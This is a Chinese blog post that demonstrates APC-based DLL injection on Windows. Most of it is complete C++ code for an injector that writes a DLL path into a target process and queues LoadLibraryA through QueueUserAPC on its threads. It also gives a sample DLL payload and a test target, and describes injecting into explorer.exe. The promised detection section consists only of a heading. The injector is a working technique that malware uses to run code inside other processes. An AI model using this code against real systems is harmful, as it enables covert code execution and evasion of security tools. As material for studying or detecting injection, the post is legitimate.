首页 > 系统相关 >APC进程注入C++示例和检测思考

APC进程注入C++示例和检测思考

时间:2023-09-15 18:00:37浏览次数:34  
标签:return 示例 C++ 线程 dwThreadIdListLength APC NULL pThreadIdList

直接贴C++代码效果:

apc注入到pid为39712的进程

procexp可以看到注入的DLL!

 

好了,我们看看代码如何写:

注入部分

// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>

using namespace std;

void ShowError(const char* pszText)
{
	char szError[MAX_PATH] = { 0 };
	::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szError, "ERROR", MB_OK);
}


//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	// 申请空间
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		return FALSE;
	}

	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

	THREADENTRY32 th32 = { 0 };

	// 拍摄快照
	hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

	if (hThreadSnap == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	// 结构的大小
	th32.dwSize = sizeof(THREADENTRY32);

	//遍历所有THREADENTRY32结构, 按顺序填入数组

	BOOL bRet = Thread32First(hThreadSnap, &th32);
	while (bRet)
	{
		if (th32.th32OwnerProcessID == th32ProcessID)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnap, &th32);
	}

	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;

	return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
	// 申请内存

	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		ShowError("VirtualAllocEx - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}
	// 把Dll的路径复制到内存中
	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
	{
		ShowError("WriteProcessMemory - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	// 获得LoadLibraryA的地址
	PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	// 遍历线程, 插入APC
	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 打开线程
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 关闭线程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf("Total Thread: %d\n", dwThreadIdListLength);
	printf("Total Failed: %d\n", (int)fail);

	if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
	{
		printf("Success to Inject APC\n");
		return TRUE;
	}
	else
	{
		printf("Inject may be failed\n");
		return FALSE;
	}
}


int main()
{
	ULONG32 ulProcessID = 0;
	printf("Input the Process ID:");
	cin >> ulProcessID;
	CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";

	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;

	if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
	{
		printf("Can not list the threads\n");
		exit(0);
	}
	//打开句柄
	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

	if (hProcess == NULL)
	{
		printf("Failed to open Process\n");
		return FALSE;
	}

	//注入
	if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
	{
		printf("Failed to inject DLL\n");
		return FALSE;
	}
	return 0;
}

  

我们的DLL部分injected_dll.dll代码:

// myhack.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "windows.h"
#include "tchar.h"


DWORD WINAPI ThreadProc(LPVOID lParam)
{
	::MessageBoxW(NULL, L"szPath", L"captain?", 0); //调用函数进行URL下载
	return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;

	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		OutputDebugString(L"<myhack.dll> Injection!!!");
		//创建远程线程进行download
		hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
		// 需要注意,切记随手关闭句柄,保持好习惯
		CloseHandle(hThread);
		break;
	}

	return TRUE;
}

  

被注入的进程代码:

// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
	DWORD pid = GetCurrentProcessId();
	std::cout << "当前进程的PID是: " << pid << std::endl;
	while (1) {
		SleepEx(1000, true);
		std::cout << "You are done!\n";
	}
	std::cout << "Exit!\n";
}

  

里面有一个关键函数:

SleepEx

其中,第二个参数表示是否可以被唤醒。解释见后:

 

我们再注入explorer.exe

 

注意:上述代码都是windows 64 release运行! 

 

APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.

首先介绍一下APC,会了正想开发就会逆向注入

首先第一个函数

QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:   函数作用: 回调函数的写法.

我们首先要知道异步函数调用的原理,

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

这里介绍一下应用程序的APC

APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.我们看下Msdn怎么写

MSDN说,要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发

那么使用APC场合的注入就有了,

1.必须是多线程环境下

2.注入的程序必须会调用上面的那些同步对象.

那么我们可以注入APC,注意下条件,也不是所有都能注入的.

注入方法的原理:

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

使用方法:

1.利用快照枚举所有的线程

2.写入远程内存,写入的是Dll的路径

3.插入我们的DLL即可

 

好了!我们接下来看看应该如何进行检测!

 

标签:return,示例,C++,线程,dwThreadIdListLength,APC,NULL,pThreadIdList
From: https://www.cnblogs.com/bonelee/p/17705390.html

相关文章

  • C++对一个map进行for(auto it : ....)特别慢
    使用注释掉的代码就特别慢,超级慢intfind_task=0;std::map<std::string,std::map<unsignedint,std::vector<std::string>>>::iteratorgit;git=g_m_task_files.find(task_id);//for(autoit:g_m_task_files)if(git!=g_m_task_files.end())......
  • C++11中的智能指针shared_ptr、weak_ptr源码解析
    https://www.jb51.net/article/224028.htm−目录1、前言2、源码准备3、智能指针概念4、源码解析4.1、shared_ptr解析4.1.1、shared_ptr4.1.2、__shared_ptr4.1.3、__shared_count4.1.4、_Sp_counted_base4.1.5、_Sp_counted_ptr4.1.6、shared_ptr总结4.2、weak......
  • C++之单例模式(6千字长文详解)
    单例模式什么是单例模式单例模式是设计模式的一种设计模式:设计模式(DesignPattern)是一套被反复使用、多数人知晓的、经过分类的、代码设计经验的总结。为什么会产生设计模式这样的东西呢?就像人类历史发展会产生兵法。最开始部落之间打仗时都是人拼人的对砍。后来春秋战国时......
  • C++ 进阶汇总 [持续更新-建议收藏]
    1.lambda表达式```cpp#include<functional>#include<iostream>intmain(){std::function<void(void)>fun=[](){inta=1;std::cout<<a<<std::endl;};fun();}```2.using类内函数指针重命名[相同类型不同函数,放置到std::map......
  • C++ sizeof 杂谈
    原来sizeof是一个特殊的,运算优先级很高的一种运算符?之前一直都不知道。参考博客:c++中sizeof()的用法介绍C++学习杂谈:sizeof(string)到底是多少?优先级作为一个运算符,sizeof自然也是有优先级的,它在C++中优先级为\(3\),也就是除了作用域解析运算符和诸如括号的操作符,它优......
  • 设计模式 C++
    (设计模式)(李建忠C++)23种设计模式组件协作模板方法父类中定义组件(函数)的调用流程,每个组件使用虚函数进行实现,然后子类中可以重写父类中虚函数的实现。如果我们发现一个算法的组件(函数)的调用流程都是一样的,但是步骤中的各个组件的实现可能有所差异,此时会使用模板方法。【......
  • java线程示例
    需要开启线程的方法继承线程类,并在run 中写逻辑publicclassAntextendsThread{Cakecake;publicAnt(Stringname,Cakecake){this.cake=cake;setName(name);}@Overridepublicvoidrun(){while(true){......
  • C++中STL用法汇总
    1什么是STL?STL(StandardTemplateLibrary),即标准模板库,是一个具有工业强度的,高效的C++程序库。它被容纳于C++标准程序库(C++StandardLibrary)中,是ANSI/ISOC++标准中最新的也是极具革命性的一部分。该库包含了诸多在计算机科学领域里所常用的基本数据结构和基本算法。为广大C++程......
  • Qt/C++音视频开发53-本地摄像头推流/桌面推流/文件推流/监控推流等
    一、前言编写这个推流程序,最开始设计的时候是用视频文件推流,后面陆续增加了监控摄像头推流(其实就是rtsp视频流)、网络电台和视频推流(一般是rtmp或者http开头m3u8结尾的视频流)、本地摄像头推流(本地USB摄像头或者笔记本自带摄像头等)、桌面推流(将当前运行环境的系统桌面抓拍推流)。按......
  • C++完美转发为什么必须要有std::forward?
    先看一种情况,它的输出结果是什么?#include<iostream>usingnamespacestd;voidF(constint&a){cout<<"int:"<<a<<endl;}voidF(int&&a){cout<<"int&&:"<<a<<endl......